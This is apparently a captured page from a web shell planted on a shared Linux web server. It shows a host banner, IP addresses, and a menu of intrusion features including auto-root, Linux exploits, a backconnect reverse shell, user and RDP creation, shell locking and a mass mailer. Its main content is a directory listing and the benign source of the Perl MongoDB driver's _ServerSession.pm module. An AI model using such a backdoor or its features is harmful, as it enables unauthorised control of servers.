Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
MongoDB /
[ HOME SHELL ]
Name
Size
Permission
Action
BSON
[ DIR ]
drwxr-xr-x
GridFSBucket
[ DIR ]
drwxr-xr-x
Op
[ DIR ]
drwxr-xr-x
QueryResult
[ DIR ]
drwxr-xr-x
Role
[ DIR ]
drwxr-xr-x
Upgrading
[ DIR ]
drwxr-xr-x
BulkWrite.pm
13.6
KB
-rw-r--r--
BulkWriteResult.pm
13.99
KB
-rw-r--r--
BulkWriteView.pm
8.19
KB
-rw-r--r--
ChangeStream.pm
10.71
KB
-rw-r--r--
ClientSession.pm
33.85
KB
-rw-r--r--
Code.pm
1.56
KB
-rw-r--r--
Collection.pm
105.71
KB
-rw-r--r--
CommandResult.pm
5.14
KB
-rw-r--r--
Cursor.pm
26.08
KB
-rw-r--r--
DBRef.pm
1.59
KB
-rw-r--r--
DataTypes.pod
12.78
KB
-rw-r--r--
Database.pm
28.5
KB
-rw-r--r--
DeleteResult.pm
2.41
KB
-rw-r--r--
Error.pm
18.86
KB
-rw-r--r--
Examples.pod
14.35
KB
-rw-r--r--
GridFSBucket.pm
27.45
KB
-rw-r--r--
IndexView.pm
19.83
KB
-rw-r--r--
InsertManyResult.pm
3.41
KB
-rw-r--r--
InsertOneResult.pm
2.32
KB
-rw-r--r--
MongoClient.pm
97.69
KB
-rw-r--r--
Monitoring.pod
7.29
KB
-rw-r--r--
OID.pm
2.17
KB
-rw-r--r--
QueryResult.pm
11.24
KB
-rw-r--r--
ReadConcern.pm
3.87
KB
-rw-r--r--
ReadPreference.pm
8.54
KB
-rw-r--r--
Timestamp.pm
1.6
KB
-rw-r--r--
Tutorial.pod
9.18
KB
-rw-r--r--
UnacknowledgedResult.pm
1.98
KB
-rw-r--r--
UpdateResult.pm
3.54
KB
-rw-r--r--
Upgrading.pod
12.18
KB
-rw-r--r--
WriteConcern.pm
5.05
KB
-rw-r--r--
_Constants.pm
2.87
KB
-rw-r--r--
_Credential.pm
13.58
KB
-rw-r--r--
_Dispatcher.pm
11.87
KB
-rw-r--r--
_Link.pm
18.18
KB
-rw-r--r--
_Platform.pm
897
B
-rw-r--r--
_Protocol.pm
23.46
KB
-rw-r--r--
_Server.pm
8.31
KB
-rw-r--r--
_ServerSession.pm
3.41
KB
-rw-r--r--
_SessionPool.pm
3.86
KB
-rw-r--r--
_Topology.pm
46.27
KB
-rw-r--r--
_TransactionOptions.pm
3.72
KB
-rw-r--r--
_Types.pm
7.11
KB
-rw-r--r--
_URI.pm
19.46
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _ServerSession.pm
# Copyright 2018 - present MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. use strict; use warnings; package MongoDB::_ServerSession; # MongoDB Server Session object use version; our $VERSION = 'v2.2.2'; use MongoDB::Error; use Moo; use UUID::URandom; use Math::BigInt; use MongoDB::_Types qw( Document ); use Types::Standard qw( Maybe InstanceOf Int Bool ); use constant UUID_TYPE => 4; use namespace::clean -except => 'meta'; # session_id # # $server_session->session_id; # # Returns the session id for this server session as a L<BSON::Bytes> object # containing a binary UUID V4. For lower network usage, if not provided on # initialisation this class will generate a new UUID instead of consulting the # server for a new session id. has session_id => ( is => 'lazy', isa => Document, builder => '_build_session_id', ); sub _build_session_id { my ( $self ) = @_; my $uuid = BSON::Bytes->new( data => UUID::URandom::create_uuid(), subtype => UUID_TYPE, ); return { id => $uuid }; } # last_use # # $server_session->last_use; # # Returns the unix time that this server session was last used. Used for checking # expiry of a server session. If undefined, then the session has (probably) not # been used on the server. has last_use => ( is => 'rwp', init_arg => undef, isa => Maybe[Int], ); # transaction_id # # $server_session->transaction_id # # Returns the current transaction id for this server session. This is a ratcheted # incrementing ID number, which when combined with the session id allows for # retrying transactions in the correct order. has transaction_id => ( is => 'rwp', init_arg => undef, default => sub { Math::BigInt->new('0') }, ); # pool_epoch # # tracks which pool the session came from; sessions won't be checked into # a newer pool has pool_epoch => ( is => 'ro', default => -1, ); # # Mark this session as dirty. # A server session is marked dirty when a command fails with a network # error. Dirty sessions are later discarded from the server session pool. # has dirty => ( is => 'rwp', isa => Bool, default => 0, ); sub mark_dirty { my $self = shift; $self->_set_dirty(1); } # update_last_use # # $server_session->update_last_use; # # Updates the value of L</last_use> to the current unix time. sub update_last_use { my ( $self ) = @_; $self->_set_last_use( time() ); } sub _is_expiring { my ( $self, $session_timeout ) = @_; # if session_timeout is undef, then sessions arent actually supported (this # value should be from logical_session_timeout_minutes). return 1 unless defined $session_timeout; my $timeout = time() - ( ( $session_timeout - 1 ) * 60 ); # Undefined last_use means its never actually been used on the server return 1 if defined $self->last_use && $self->last_use < $timeout; return; } 1; # vim: set ts=4 sts=4 sw=4 et tw=75:
Close